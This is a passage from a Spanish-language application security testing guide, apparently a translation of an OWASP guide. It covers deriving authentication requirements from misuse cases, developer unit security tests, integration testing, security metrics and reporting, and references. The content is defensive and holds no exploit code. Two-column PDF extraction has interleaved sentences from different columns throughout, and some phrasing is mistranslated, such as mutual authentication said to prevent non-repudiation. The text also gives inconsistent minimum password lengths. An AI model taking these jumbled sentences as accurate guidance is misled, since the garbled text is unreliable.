consecuencia de un error de inicio de sesión.
• Cifrar las contraseñas usando encriptado no reversible como el uso de un
repertorio (p. ej., HASH) y una semilla para evitar el ataque de diccionario.
• Permitir solamente contraseñas que sean alfanuméricas, que incluyan
caracteres especiales y una longitud mínima de seis caracteres, para limitar la
• Bloquear cuentas después de alcanzar un umbral de fallas de inicio de sesión y
superficie de ataque.
hacer cumplir la complejidad de contraseña para mitigar el riesgo de ataques
forzosos de contraseñas.
• Permitir la funcionalidad de cambio de contraseña sólo a usuarios autenticados
mediante la validación de la contraseña anterior, nueva contraseña y la respuesta
• Mostrar mensajes de error genérico tras la validación de credenciales para
del usuario a la pregunta de desafío, para evitar el acceso forzoso a una mitigar el riesgo de cosecha de cuentas o enumeración.
contraseña a través del cambio de contraseña.

23
• Autenticar mutuamente al cliente y al servidor para evitar el no repudio y los

ataques de hombre en el medio (MiTM).
Para derivar los requerimientos de seguridad del uso y mal uso de los casos [20],
es importante definir los escenarios funcionales y los escenarios negativos y
poner éstos en forma gráfica. En el caso de derivación de los requisitos de
Las herramientas del modelo de amenazas, tales como los árboles de amenaza y seguridad para la autenticación, por ejemplo, la siguiente metodología se puede
bibliotecas de ataque, pueden ser útiles para derivar las seguir paso a paso:
hipótesis de prueba negativa. Un árbol de amenazas asumirá un ataque a la raíz Paso 1: Describa la situación funcional: El usuario autentica el ingreso mediante
(por ejemplo, el atacante podría ser capaz de leer mensajes de otros usuarios) e el suministro de un nombre de usuario y contraseña. La aplicación permite el
identificar las diferentes debilidades de los controles de seguridad (por ejemplo, acceso a los usuarios, basada en la autenticación de credenciales del usuario por
la validación de datos falla debido a una vulnerabilidad de inyección SQL) y las parte de la aplicación y proporciona errores específicos al usuario cuando la
defensas necesarias (por ejemplo, implementar la validación de datos y consultas validación falla.
parametrizadas) que pudieran ser validadas en su eficacia en la mitigación de
este tipo de ataques.
Paso 2: Describa el escenario negativo: El atacante rompe la autenticación

utilizando la fuerza bruta o a través de un ataque de diccionario de contraseñas y
la cosecha de vulnerabilidades de cuenta en la aplicación. Los errores de
Cómo derivar los requisitos de las pruebas de seguridad
validación proporcionan información específica para que el atacante adivine qué
mediante casos de uso correcto y uso indebido cuentas son realmente cuentas válidas registradas (usuarios). A continuación, el
atacante
Un prerrequisito para describir la funcionalidad de la aplicación es entender lo

que se supone que la aplicación debe hacer y cómo. Esto puede hacerse intentará forzar la contraseña para esa cuenta válida. Un ataque de fuerza bruta a
mediante la descripción de casos de uso. Los casos de uso, en la forma gráfica contraseñas de mínimo cuatro dígitos a contraseñas de todos los dígitos puede
como se usa generalmente en ingeniería de software, muestra las interacciones tener éxito con un número limitado de intentos (es decir, 10 ^ 4).
de los actores y sus relaciones. Ayudan a identificar a los actores en la
aplicación, sus relaciones, la secuencia prevista de acciones para cada escenario,
acciones alternativas, requisitos especiales, condiciones previas y condiciones
posteriores. Paso 3: Describa escenarios funcionales y escenarios negativos con casos de uso
correcto y uso indebido: El ejemplo gráfico en la figura siguiente muestra la
derivación de los requisitos de seguridad a través de casos de uso correcto y mal
uso. El escenario funcional consiste en las acciones del usuario (introducir un
Al igual que los casos de uso correcto, los casos de uso indebido o casos de nombre de usuario y contraseña) y las acciones de aplicación (autenticar al
abuso [19] describen escenarios de usos no deseados y maliciosos de la usuario y proporcionar un mensaje de error si la validación falla). El caso de mal
aplicación. Estos casos de mal uso proporcionan una forma para describir uso consiste en las acciones del atacante, es decir, tratar de romper la
escenarios de cómo un atacante podría usar indebidamente y abusar de la autenticación usando fuerza bruta mediante un ataque de diccionario y
aplicación. Al revisar los pasos individuales en un escenario de uso y pensar adivinando los nombres de usuario válidos mediante los mensajes de error.
cómo pueden ser aprovechados maliciosamente, se pueden descubrir posibles Representando gráficamente las amenazas a las acciones del usuario (mal uso),
fallas o aspectos de la aplicación que no están bien definidos. La clave es es posible derivar las defensas como las acciones de la aplicación que mitiguen
describir todos los escenarios posibles o, al menos, los escenarios de uso tales amenazas.
correcto y uso indebido más críticos.
Figura 5: Requisitos de seguridad

Los escenarios de uso indebido permiten el análisis de la aplicación desde la
perspectiva del atacante y contribuyen a la identificación de posibles
vulnerabilidades y las defensas necesarias para mitigar el impacto causado por la
exposición potencial a dichas vulnerabilidades. Dados todos los casos de uso y
abuso, es importante analizarlos para determinar cuáles son los más críticos y los
que deben ser documentados en los requisitos de seguridad. La identificación de
los casos más críticos de uso indebido y abuso conducen a la documentación de
requisitos de seguridad y a los controles necesarios donde los riesgos de
seguridad deben ser mitigados.

24
Las pruebas de seguridad durante la fase de desarrollo del SDLC representan la

primera oportunidad para los desarrolladores de asegurar que los componentes
de software individuales que han desarrollado pasan pruebas de seguridad antes
de que se integren con otros componentes y sean añadidos a la aplicación. Los
componentes de software pueden ser artefactos de software tales como
funciones, métodos y clases, así como interfaces de programación de
aplicaciones, bibliotecas y archivos ejecutables. Para las pruebas de seguridad,
los desarrolladores pueden confiar en los resultados de los análisis de código
fuente para verificar estáticamente que el código fuente desarrollado no incluye
posibles vulnerabilidades y cumple con los estándares de seguridad de
codificación. Las pruebas de seguridad de la unidad podrán comprobar
posteriormente de manera dinámica (es decir, en tiempo de ejecución) que los
componentes funcionan como se esperaba. Antes de integrar ambos cambios de
código nuevo y existente en la estructura de la aplicación, los resultados de los
análisis estáticos y dinámicos deben ser revisados y validados.
La validación del código fuente antes de la integración a las estructuras de la

aplicación es, generalmente, responsabilidad del desarrollador sénior. Estos
desarrolladores sénior también son expertos en materia de seguridad de software
y su función es liderar la revisión de seguridad del código. Deben tomar
decisiones sobre la conveniencia de aceptar que el código sea incluido en la
estructura de la aplicación o requiera más cambios y pruebas. Este flujo de
trabajo de revisión de seguridad del código puede aplicarse a través de la
aceptación formal, así como una aprobación en una herramienta de gestión de
flujo de trabajo. Por ejemplo, suponiendo que se use el flujo de trabajo de
administración de defectos típico para errores funcionales, errores de seguridad
que han sido arreglados por un desarrollador pueden presentarse en un sistema
de gestión de defectos o cambios. El director puede ver los resultados registrados
por los desarrolladores en las herramientas y dar la aprobación de las revisiones
a los cambios de código en la estructura de la aplicación.
Paso 4: Obtenga los requisitos de seguridad. En este caso, se derivan los
siguientes requisitos de seguridad para la autenticación:
Pruebas de seguridad en el flujo de trabajo
1) Las contraseñas deben ser alfanuméricas, mayúsculas y minúsculas y un Después de que los componentes y los cambios en el código son probados por
mínimo de longitud de siete caracteres; los desarrolladores y registrados en la estructura de la aplicación, el siguiente
paso, más probablemente en el flujo de trabajo del proceso de desarrollo de
2) Las cuentas deben bloquearse después de cinco intentos de registro sin éxito; software, es realizar pruebas en la aplicación como una entidad completa. Este
nivel de prueba se conoce generalmente como prueba integrada y prueba de
3) Los mensajes de error de registro deben ser genéricos. nivel de sistema. Cuando las pruebas de seguridad son parte de estas actividades
de pruebas, pueden utilizarse para validar la funcionalidad de seguridad de la
aplicación como un todo, así como la exposición a vulnerabilidades a nivel de
aplicación. Estas pruebas de seguridad en la aplicación incluyen tanto las
Estos requisitos de seguridad deben ser documentados y probados. pruebas de Caja Blanca como el análisis de código fuente; y las pruebas de Caja
Negra como pruebas de penetración. Las pruebas de Caja Gris son similares a
las pruebas de Caja Negra. En una prueba de Caja Gris se supone que el
evaluador tiene un conocimiento parcial sobre el manejo de la sesión de la
aplicación y que debe ayudar a entender si el registro de salida y funciones de
Las pruebas de seguridad integradas al desarrollo y flujos
tiempo de caducidad están bien aseguradas.
de trabajo de las pruebas de seguridad
Las pruebas de seguridad en el flujo de trabajo del desarrollo

25
El objetivo de las pruebas de seguridad es el sistema completo que será Desde la perspectiva del desarrollador, el principal objetivo de las pruebas de
potencialmente atacado e incluye el código fuente completo y el seguridad es validar que el código esté siendo desarrollado de acuerdo con los
requisitos de las normas de codificación segura. Los artefactos de codificación
de los desarrolladores (como las funciones, métodos, clases, APIs y bibliotecas)
deben ser validados funcionalmente antes de integrarse a la construcción de la
ejecutable. Una ventaja de las pruebas de seguridad durante esta fase de prueba aplicación.
es que es posible para los evaluadores de seguridad determinar si las
vulnerabilidades pueden ser explotadas y exponen a la aplicación a riesgos
reales. Esto incluye tanto a vulnerabilidades de aplicaciones web comunes como
a problemas de seguridad que se han identificado más temprano en el SDLC con Los requisitos de seguridad que los desarrolladores tienen que seguir deben ser
otras actividades como el modelo de amenazas, el análisis de código fuente y documentados en los estándares de codificación seguros y validados con el
revisiones de seguridad del código. análisis estático y dinámico. Si la actividad de la unidad de pruebas sigue una
revisión de códigos seguros, las pruebas de unidad pueden validar que los
cambios requeridos por las revisiones de seguridad de códigos se hayan
implementado correctamente. Las revisiones de seguridad de códigos y análisis
Por lo general, son los ingenieros de pruebas, no los desarrolladores de software, de código fuente a través de las herramientas de análisis de código fuente ayudan
quienes realizan las pruebas de seguridad cuando la aplicación está en la mira de a los desarrolladores en la identificación de problemas de seguridad en el código
las pruebas del sistema de integración. Estos ingenieros de pruebas tienen fuente mientras se desarrolla. Mediante el uso de pruebas de
conocimientos de seguridad acerca de vulnerabilidades de aplicaciones web,
técnicas de pruebas de seguridad de Caja Negra y Caja Blanca y dominan la
validación de requisitos de seguridad en esta fase. Para poder realizar estas
pruebas de seguridad, es un prerrequisito que los casos de pruebas de seguridad unidad y análisis dinámico (p. ej., depuración) los desarrolladores pueden validar
estén documentados en la guía y procedimientos de pruebas de seguridad. la funcionalidad de seguridad de los componentes, así como verificar que las
defensas que están siendo desarrolladas mitigan cualquier riesgo de seguridad
identificado previamente a través de la creación de modelos de amenazas y el
análisis de código fuente.
Un ingeniero de pruebas que valida la seguridad de la aplicación en el entorno
del sistema integrado podría liberar a la aplicación para ser probada en el entorno
operativo (por ejemplo, pruebas de aceptación del usuario). En esta etapa de
SDLC (es decir, validación), las pruebas funcionales de la aplicación son Una buena práctica de los desarrolladores es crear casos de prueba de seguridad
generalmente una responsabilidad de evaluadores QA, mientras que los hackers como un conjunto de pruebas de seguridad genéricas que forma parte del
de sombrero blanco o consultores de seguridad son generalmente responsables framework de pruebas de la unidad. Un conjunto de pruebas de seguridad
de las pruebas de seguridad. Algunas organizaciones se apoyan en su propio genérico puede derivarse de casos de uso correcto y mal uso previamente
equipo de hackers éticos especializados para llevar a cabo este tipo de pruebas definidos como funciones, métodos y clases. Un conjunto de pruebas de
cuando una evaluación externa no es necesaria (por ejemplo, para propósitos de seguridad genérica puede incluir casos de prueba de seguridad para validar tanto
auditoría). requisitos positivos como negativos para los controles de seguridad, tales como:
Puesto que estas pruebas son el último recurso para solucionar vulnerabilidades • Identidad, autenticación y control de acceso
antes de que la aplicación sea lanzada a la producción, es importante que estos
temas sean abordados según lo recomendado por el equipo de pruebas. Las • Validación de ingreso y codificación
recomendaciones pueden incluir cambios de código, diseño o configuración. En
este nivel, los auditores de seguridad y los oficiales de seguridad de la • Encriptado
información discuten sobre los temas de seguridad reportados y analizan los
riesgos potenciales según los procedimientos de gestión de riesgo de la • Administración de usuarios y sesión
información. Tales procedimientos pueden requerir que el equipo de desarrollo
corrija todas las vulnerabilidades de alto riesgo antes de que la aplicación sea • Manejo de errores y excepciones
liberada, a menos que tales riesgos sean reconocidos y aceptados.
• Auditoría y registro
Pruebas de seguridad del desarrollador

Los desarrolladores empoderados con una herramienta de análisis de código
Pruebas de seguridad en la fase de codificación: pruebas de unidad fuente integrada en su IDE, estándares de codificación seguros y un framework
para la unidad de pruebas de seguridad pueden evaluar y verificar la seguridad
de los componentes de software que está siendo desarrollado. Los casos de

26
pruebas de seguridad pueden ejecutarse para identificar posibles problemas de seguridad del desarrollador. Cuando se implementa una solución para un defecto
seguridad que tienen su causa principal en el código fuente. de codificación identificado mediante el análisis de código fuente; por ejemplo,
los casos de pruebas de seguridad, puede verificar que la aplicación del cambio
de código sigue los requisitos de codificación segura, documentados en los
estándares de codificación seguros.
Además de la validación de parámetros de entrada y salida, que entran y salen
de los componentes, estos temas incluyen verificaciones de autenticación y
autorización realizadas por el componente, protección de los datos dentro del
componente, excepción segura y manejo de errores y garantizar la auditoría y el Las pruebas de análisis de código fuente y de unidad pueden validar que el
registro. Los frameworks de la unidad de prueba tales como Junit, Nunit y Cunit cambio de código mitiga la vulnerabilidad expuesta por el defecto de
se pueden adaptar para verificar los requisitos de la prueba de seguridad. En el codificación previamente identificado. Los resultados del análisis automatizado
caso de pruebas funcionales de seguridad, las pruebas de nivel de unidad pueden de codificación segura también pueden utilizarse como puertas automáticas de
probar la funcionalidad de los controles de seguridad al nivel de componentes de entrada para el control de la versión del software, por ejemplo, los artefactos del
software, tales como las funciones, métodos o clases. Por ejemplo, un caso de software no pueden verificarse dentro de la estructura si existen temas de alto o
prueba puede verificar la validación de entrada y salida (por ejemplo, mediano grado de severidad.
saneamiento de variables) y verificación de límites para las variables, afirmando
la funcionalidad esperada del componente.
Pruebas de seguridad de evaluadores funcionales

Los escenarios de amenaza identificados con los casos de uso y mal uso se
Las pruebas de seguridad durante la fase de integración y
pueden utilizar para documentar los procedimientos para las pruebas de los
componentes de software. En el caso de componentes de autenticación, por validación:
ejemplo, las pruebas de seguridad de la unidad pueden afirmar la funcionalidad
de establecer un bloqueo de cuenta, así como el hecho de que los parámetros de Pruebas integradas de sistema y pruebas operativas
entrada de usuario no pueden ser objeto de abuso para eludir el bloqueo de la
cuenta (por ejemplo, estableciendo el contador de bloqueo de cuenta con un El objetivo principal de las pruebas de sistema integrado es validar el concepto
número negativo). de "defensa en profundidad", es decir, que la aplicación de controles de
seguridad proporciona seguridad en diferentes niveles. Por ejemplo, la falta de
validación de entrada al llamar a un componente integrado con la aplicación es, a
menudo, un factor que puede ser probado con pruebas de integración.
Al nivel de componentes, las pruebas de seguridad de la unidad pueden validar
afirmaciones positivas así como negativas, tales como manejo de errores y
excepciones. Las excepciones deben ser atrapadas sin dejar al sistema en un
estado inseguro, tal como una posible negación de servicio provocada por El entorno de pruebas del sistema de integración también es el primer ambiente
recursos que no se están desasignando (por ejemplo, puntos de conexión no donde los evaluadores pueden simular escenarios de ataque real que puede ser
cerrados dentro de un bloque de declaración final), así como la potencial potencialmente ejecutado por un usuario externo o interno de la aplicación.
elevación de privilegios (por ejemplo, mayores privilegios adquiridos antes de Pruebas a este nivel de seguridad pueden validar si las vulnerabilidades son
que la excepción sea lanzada y que no vuelva a configurar con el nivel anterior reales y pueden ser aprovechadas por los atacantes. Por ejemplo, una potencial
antes de salir de la función). El manejo de errores de seguridad puede validar la vulnerabilidad en el código fuente puede ser clasificada como de alto riesgo
posible revelación de información a través de mensajes informativos de error o debido a la exposición a potenciales usuarios maliciosos, así como debido al
restos de información. impacto potencial (p. ej., acceso a información confidencial).
Los casos de pruebas de seguridad a nivel de unidad pueden ser desarrollados Los escenarios de ataque real pueden analizarse tanto con técnicas manuales de
por un ingeniero de seguridad que es el experto en la materia de seguridad de pruebas como con herramientas de prueba de penetración. Las pruebas de
software y también es responsable de validar que los temas de seguridad en el seguridad de este tipo se denominan también pruebas de hacking ético. Desde la
código fuente se han corregido y se pueden comprobar en la estructura del perspectiva de pruebas de seguridad, éstas son direccionadas por el riesgo y
sistema integrado. Normalmente, el administrador de la construcción de la tienen el objetivo de probar la aplicación en el entorno operativo. El objetivo es
aplicación también se asegura de que archivos ejecutables y bibliotecas de la estructura de la aplicación representativa de aquella versión que será
terceros sean evaluados en busca de vulnerabilidades potenciales antes de implementada en la producción.
integrarlos en la estructura de las aplicaciones.
Incluir las pruebas de seguridad en la fase de integración y validación es

Los escenarios de amenazas de vulnerabilidades comunes que son causados por fundamental para identificar vulnerabilidades causadas por la integración de
una codificación insegura pueden documentarse también en guía de pruebas de componentes, así como la validación de la exposición a esas

27
vulnerabilidades. Las pruebas de seguridad para la aplicación requieren de un

Análisis de datos de prueba de seguridad y reportes
conjunto especializado de habilidades, incluidos los conocimientos de software y
seguridad, que no son típicos de los ingenieros de seguridad. Como resultado de
Objetivos de las métricas de pruebas de seguridad y mediciones
esto, las organizaciones deben, a menudo, entrenar a sus desarrolladores de
software sobre las técnicas de hacking ético, procedimientos de evaluación de
seguridad y las herramientas. Un escenario realista es desarrollar estos recursos
internamente y documentarlos en guías de pruebas de seguridad y
Definir los objetivos de métricas de pruebas de seguridad y mediciones es un
procedimientos que tengan en cuenta el conocimiento del desarrollador sobre
prerrequisito para el uso de datos de las pruebas de seguridad para procesos de
pruebas de seguridad. Un listado llamado "hoja de trampa de casos de prueba de
análisis de riesgo y gestión. Por ejemplo, una medida como el número total de
seguridad o lista de verificación", por ejemplo, pueden proporcionar casos de
vulnerabilidades encontradas con las pruebas de seguridad podría cuantificar la
prueba simples y atacar vectores que pueden ser utilizados por los evaluadores
postura de seguridad de la aplicación. Estas mediciones también ayudan a
para validar la exposición a vulnerabilidades comunes como el spoofing (burla),
identificar los objetivos de seguridad para pruebas de seguridad de software. Por
divulgaciones de información, saturación de búfer, cadenas de formato,
ejemplo, reducir el número de vulnerabilidades a un número aceptable (mínimo)
inyección de SQL, inyección XSS, XML, SOAP, problemas de estandarización,
antes de que la aplicación sea lanzada a producción.
denegación de servicio y código administrado y los controles ActiveX (por
ejemplo,.NET). Una primera batería de estas pruebas se puede realizar
manualmente con un conocimiento muy básico de seguridad de software.
Otra meta manejable sería comparar la postura de seguridad de la aplicación

contra una línea de base para evaluar mejoras en los procesos de seguridad de la
aplicación. Por ejemplo, la línea base de métricas de seguridad puede ser una
El primer objetivo de las pruebas de seguridad puede ser la validación de un
aplicación que fue probada solamente con pruebas de penetración. Los datos de
conjunto de requisitos mínimos de seguridad. Estos casos de prueba de
seguridad obtenidos de una aplicación que también fue probada durante la
seguridad podrían consistir en forzar manualmente la aplicación al error y
codificación debe mostrar una mejora (p. ej., menor número de vulnerabilidades)
estados excepcionales y recabar conocimientos del comportamiento de la
al comparar con la línea base.
aplicación. Por ejemplo, las vulnerabilidades de inyección SQL se pueden
probar manualmente mediante la inyección de vectores de ataque a través de los
ingresos del usuario y comprobando si las excepciones de SQL son devueltas al
usuario. La evidencia de un error de excepción de SQL podría ser una
En pruebas de software tradicional, el número de defectos de software, tales
manifestación de una vulnerabilidad que puede ser explotada.
como los errores encontrados en una aplicación, podría proporcionar una medida
de la calidad del software. Del mismo modo, las pruebas de seguridad pueden
proporcionar una medida de seguridad de software. Desde el punto de vista de la
gestión de defectos e informes, la calidad del software y las pruebas de seguridad
Un examen más profundo de seguridad puede requerir conocimientos de
pueden utilizar clasificaciones similares y el mismo esfuerzo para ver las causas
técnicas especializadas de análisis y herramientas por parte del evaluador.
principales y remediación de defectos. Desde el punto de vista de la causa
Además del análisis de código fuente y las pruebas de penetración, estas técnicas
principal, un defecto de seguridad puede ser debido a un error en el diseño (por
incluyen, por ejemplo, inyección de fallas del código fuente y binario, análisis de
ejemplo, fallas de seguridad) o debido a un error en la codificación (por ejemplo,
propagación de falla y cobertura de código, pruebas de difusión e ingeniería
errores de seguridad). Desde la perspectiva del esfuerzo requerido para arreglar
inversa. La guía de pruebas de seguridad debe proporcionar procedimientos y
un defecto, tanto los defectos de seguridad como los de calidad, se pueden medir
recomendar herramientas que puedan utilizar los evaluadores de seguridad para
en términos de horas del desarrollador para implementar la solución, las
realizar a fondo estas evaluaciones de seguridad.
herramientas y recursos necesarios para reparar y el costo para implementar la
solución.
El siguiente nivel de pruebas de seguridad después de las pruebas de integración

del sistema es realizar pruebas de seguridad en el entorno de aceptación del
Una característica de los datos de pruebas de seguridad, en comparación con los
usuario. Hay ventajas únicas para realizar pruebas de seguridad en el entorno
datos de calidad, es la clasificación en términos de la amenaza, la exposición de
operativo. El entorno de pruebas de aceptación de usuario (UAT) es el más
la vulnerabilidad y el impacto potencial que implica la vulnerabilidad para
representativo de la configuración de lanzamiento, con la excepción de los datos
determinar el riesgo. Las pruebas de aplicaciones de seguridad consisten en
(por ejemplo, los datos de prueba se utilizan en lugar de los datos reales). Una
gestionar los riesgos técnicos para asegurarse de que las defensas de la
característica de seguridad en la UAT es probar los problemas de configuración
aplicación alcancen niveles aceptables. Por esta razón, los datos de pruebas de
de seguridad. En algunos casos, estas vulnerabilidades podrían representar alto
seguridad deben apoyar la estrategia de riesgo para la seguridad en puntos
riesgo. Por ejemplo, el servidor que aloja la aplicación web podría no estar
críticos de control durante el SDLC.
configurado con privilegios mínimos, certificado SSL válido y configuración
segura, los servicios esenciales desactivados y el directorio web principal no
haber sido limpiado de pruebas y páginas web administrativas.

28
Por ejemplo, las vulnerabilidades encontradas en el código fuente mediante el Los datos de pruebas de seguridad pueden ser absolutos, como el número de
análisis del código fuente representan una medida inicial del riesgo. Una medida vulnerabilidades detectadas durante la revisión de código manual; así como
de riesgo (p. ej., alta, media, baja) de la vulnerabilidad puede calcularse comparativo, como el número de vulnerabilidades detectadas durante las
mediante la determinación de los factores de exposición y probabilidad, revisiones de código comparadas con las pruebas de penetración. Para responder
validando la vulnerabilidad con pruebas de penetración. Las métricas de riesgo a preguntas sobre la calidad del proceso de seguridad, es importante determinar
asociadas a vulnerabilidades encontradas con las pruebas de seguridad dan el una línea base para lo que podría considerarse aceptable y bueno. Los datos de
poder a la gestión de negocio para poder tomar decisiones de riesgo, tales como pruebas de seguridad también pueden apoyar objetivos específicos del análisis
para decidir si los riesgos pueden ser aceptados, mitigados o transferidos a de seguridad. Estos objetivos podrían ser el cumplimiento de las normas de
diferentes niveles dentro de la organización (por ejemplo, de negocios, así como seguridad y estándares de seguridad de la información, los procesos de gestión
los riesgos técnicos). de la seguridad, la identificación de causas principales de seguridad y mejoras en
los procesos y el análisis de costo- beneficio de la seguridad.
Cuando se reportan los datos de las pruebas de seguridad, estos deben

Al evaluar la postura de seguridad de una aplicación, es importante tener en proporcionar métricas que apoyen el análisis. El alcance del análisis es la
cuenta ciertos factores, tales como el tamaño de la aplicación que está siendo interpretación de los datos de prueba para encontrar pistas sobre la seguridad del
desarrollada. Se ha demostrado estadísticamente que el tamaño de la aplicación software en producción, así como la efectividad del proceso.
se relaciona con el número de problemas encontrados en la aplicación durante la
prueba. Una medida del tamaño de la aplicación es el número de líneas de
código (LOC) de la aplicación. Por lo general, los defectos de calidad de
software van desde unos siete a diez defectos por cada mil líneas de código Algunos ejemplos de las pistas sustentadas por datos de prueba de seguridad
nuevo y corregido [21]. Puesto que las pruebas pueden reducir el número total pueden ser:
cerca de un 25% con solo una prueba, es lógico que las aplicaciones de mayor
tamaño sean probadas más a menudo que las aplicaciones de tamaño más
pequeño.
• ¿Se reducen las vulnerabilidades a un nivel aceptable para el lanzamiento?
• ¿Cómo se compara la calidad de la seguridad de este producto con otros

Cuando las pruebas de seguridad se realizan en varias etapas de la SDLC, los productos similares de software?
datos de prueba pueden demostrar la capacidad de las pruebas de seguridad en la
detección de vulnerabilidades en cuanto estas son introducidas. Los datos de • ¿Se están cumpliendo todos los requisitos de pruebas de seguridad?
prueba también pueden probar la eficacia de la eliminación de las
vulnerabilidades mediante la implementación de defensas en diferentes puntos • ¿Cuáles son las causas principales de los problemas de seguridad?
de control de la SDLC. Una medida de este tipo se define también como
"métricas de contención" y proporciona una medida de la capacidad de mantener • ¿ ué tan numerosas son las fallas de seguridad con respecto a los errores de
la seguridad dentro de cada fase del proceso de desarrollo para mantener la seguridad?
seguridad en cada una. Estas métricas de contención también son un factor
crítico para reducir el costo al solucionar las vulnerabilidades. Es menos costoso
hacer frente a vulnerabilidades que se encuentran en la fase misma de la SDLC,
• ¿ ué actividad de seguridad es más eficaz para encontrar vulnerabilidades?
que arreglarlas más adelante en otra fase.
• ¿ ué equipo es más productivo en arreglar defectos de seguridad y

vulnerabilidades?
Las métricas de pruebas de seguridad pueden apoyar la seguridad de riesgos,
• ¿ ué porcentaje del total de vulnerabilidades es de alto riesgo?
costo y gestión de defectos cuando se asocian con objetivos tangibles y a tiempo,
tales como:
• ¿ ué herramientas son más eficaces en la detección de vulnerabilidades de
seguridad?
• reducir el número total de vulnerabilidades en un 30% • ¿ ué tipo de pruebas de seguridad son más eficaces para detectar
vulnerabilidades (por ejemplo, Caja Blanca versus Caja Negra)?
• solución de temas de seguridad en un determinado plazo (por ejemplo, antes
del lanzamiento de la beta) • ¿Cuántos problemas de seguridad se encuentran durante las revisiones de
seguridad del código?
• ¿Cuántos problemas de seguridad se encuentran durante las revisiones de

seguridad del diseño?

29
• La causa principal de los temas de seguridad (por ejemplo, los errores de

seguridad, la falla de seguridad)
Para hacer un juicio coherente utilizando los datos de prueba, es importante tener
una buena comprensión del proceso de pruebas, así como de las herramientas de • La técnica de pruebas utilizada para encontrar el problema
prueba. Se debe adoptar una taxonomía de herramientas para decidir qué
herramientas de seguridad se deben utilizar. Las herramientas de seguridad se • La solución a la vulnerabilidad (por ejemplo, la defensa)
pueden calificar como buenas para encontrar vulnerabilidades comunes
conocidas que apuntan a distintos objetos.
• La clasificación de gravedad de la vulnerabilidad (alta, media, baja o

puntuación CVSS)
La preocupación es que no se analizan los temas de seguridad desconocidos. El
hecho de que se pase una prueba de seguridad no significa que el software o la
aplicación es buena. Algunos estudios [22] han demostrado que, en el mejor de
los casos, las herramientas sólo pueden encontrar el 45% de todas las Describiendo cuál es la amenaza a la seguridad, será posible entender si y por
vulnerabilidades. qué el control de mitigación es ineficaz en la mitigación de la amenaza.
Incluso las más sofisticadas herramientas de automatización no son competencia Informar la causa principal del problema puede ayudar a identificar lo que necesita
para un evaluador de seguridad experimentado. Sólo confiar en los resultados de ser corregido. En el caso de una prueba de Caja Blanca, por ejemplo, la causa de
pruebas exitosas de las herramientas de automatización les dará a los seguridad principal de la vulnerabilidad del software será transgredir el código
profesionales de la seguridad una falsa sensación de seguridad. Por lo general, fuente.
mientras más experimentados son los evaluadores de seguridad en la
metodología de pruebas de seguridad y herramientas de prueba, mejores serán
los resultados de las pruebas de seguridad y análisis. Es importante que los
gerentes que realizan una inversión en herramientas de pruebas de seguridad Una vez que se reportan los problemas, también es importante proporcionar
también consideren una inversión en la contratación de recursos humanos orientación al desarrollador de software para que pueda volver a probar y encontrar
calificados, así como en capacitación para pruebas de seguridad. la vulnerabilidad. Esto podría significar usar una técnica de prueba de Caja Blanca
(por ejemplo, revisión del código de seguridad con un analizador de código
estático) para encontrar si el código es vulnerable. Si se encuentra una
vulnerabilidad a través de una técnica de Caja Negra (prueba de penetración), el
Reporte de requerimientos informe de prueba también debe proporcionar información sobre cómo validar la
exposición de la vulnerabilidad en el extremo delantero (por ejemplo, cliente).
La postura de seguridad de una aplicación puede ser caracterizada desde la
perspectiva del efecto, tal como el número de vulnerabilidades y la calificación
de riesgo de las vulnerabilidades, así como desde la perspectiva de la causa u
origen, tales como problemas de codificación, fallos arquitectónicos y errores de La información acerca de cómo solucionar la vulnerabilidad debe ser detallada
configuración. suficientemente para que un desarrollador pueda implementar una solución. Debe
dar ejemplos de codificación segura, cambios en la configuración y proporcionar
referencias adecuadas.
Las vulnerabilidades pueden clasificarse según diversos criterios. La métrica de

la gravedad de vulnerabilidad más comúnmente utilizada es el Foro de
Respuesta a Incidentes y Equipos de Seguridad (FIRST) Sistema de Puntuación Finalmente, la clasificación de la gravedad contribuye al cálculo de la calificación
de Vulnerabilidad Común (CVSS), que actualmente se encuentra en la versión 2 de riesgo y ayuda a priorizar los esfuerzos de remediación. Por lo general, asignar
con la versión 3, cuyo lanzamiento está previsto para dentro de poco. una calificación de riesgo a la vulnerabilidad involucra el análisis de riesgo externo
basado en factores tales como el impacto y la exposición.
Al reportar datos de prueba de seguridad, la mejor práctica es incluir la siguiente

información: Casos de negocios
Para que las métricas de pruebas de seguridad sean útiles, deben proporcionar valor
a los depositarios o accionistas de los datos de las pruebas de seguridad de la
• La categorización de cada tipo de vulnerabilidad organización. Los accionistas pueden incluir gerentes de proyecto, desarrolladores,
oficinas de seguridad de información, auditores y oficiales principales de
• La amenaza a la seguridad que expone el tema

30
información. El valor puede ir en términos de la rentabilidad que tiene cada [1] T. DeMarco, Controlling Software Projects: Management, Measurement
accionista del proyecto, en términos del rol y la responsabilidad. and Estimation, Yourdon Press, 1982
[2] S. Payne, A Guide to Security Metrics - sans.org
Los desarrolladores de software buscan demostrar, en los datos de pruebas de [3] NIST, The economic impacts of inadequate infrastructure for software
seguridad, que el software está codificado de una manera más segura y eficiente. testing - nist.gov
Esto les permite apoyar el caso para usar herramientas de análisis de código fuente,
así como seguir estándares de codificación y asistir a entrenamientos de seguridad [4] Ross Anderson, Economics and Security Resource Page - cl.cam.ac.uk
de software.
[5] Denis Verdon, Teaching Developers To Fish - OWASP AppSec NYC
2004
Los gerentes de proyecto buscan datos que les permitan administrar y utilizar las [6] Bruce Schneier, Cryptogram Issue #9 - schneier.com
actividades y recursos de las pruebas de seguridad, de acuerdo al plan del proyecto
de seguridad. Para los jefes de proyecto, los datos de las pruebas de la seguridad [7] Symantec, Threat Reports - symantec.com
pueden mostrar los proyectos que están dentro del cronograma, avanzar de acuerdo
al objetivo de las fechas de entrega y mejorar durante las pruebas. [8] FTC, The Gramm-Leach Bliley Act - business.ftc.gov
[9] Senator Peace and Assembly Member Simitian, SB 1386- leginfo.ca.gov
Los datos de pruebas de seguridad también ayudan al caso del negocio cuando la [10] European Union, Directive 96/46/EC on the protection of individuals
iniciativa proviene de agentes de seguridad de la información (ISO). Por ejemplo, with regard to the processing of personal data and on the free movement of
puede proporcionar evidencia de que las pruebas de seguirdad durante el SDLC no such data - ec.europa.eu
afectan la ejecución de los proyectos; más bien reducen la carga de trabajo total
necesaria para atacar vulnerabilidades que se presentarán más adelante en la [11] NIST, Risk management guide for information technology systems -
producción. csrc.nist.gov
[12] SEI, Carnegie Mellon, Operationally Critical Threat, Asset, and

Vulnerability Evaluation (OCTAVE) - cert.org
Para los auditores de cumplimiento, las métricas de pruebas de seguridad
[13] Ken Thompson, Reflections on Trusting Trust, Reprinted from
Communication of the ACM - cm.bell-labs.com
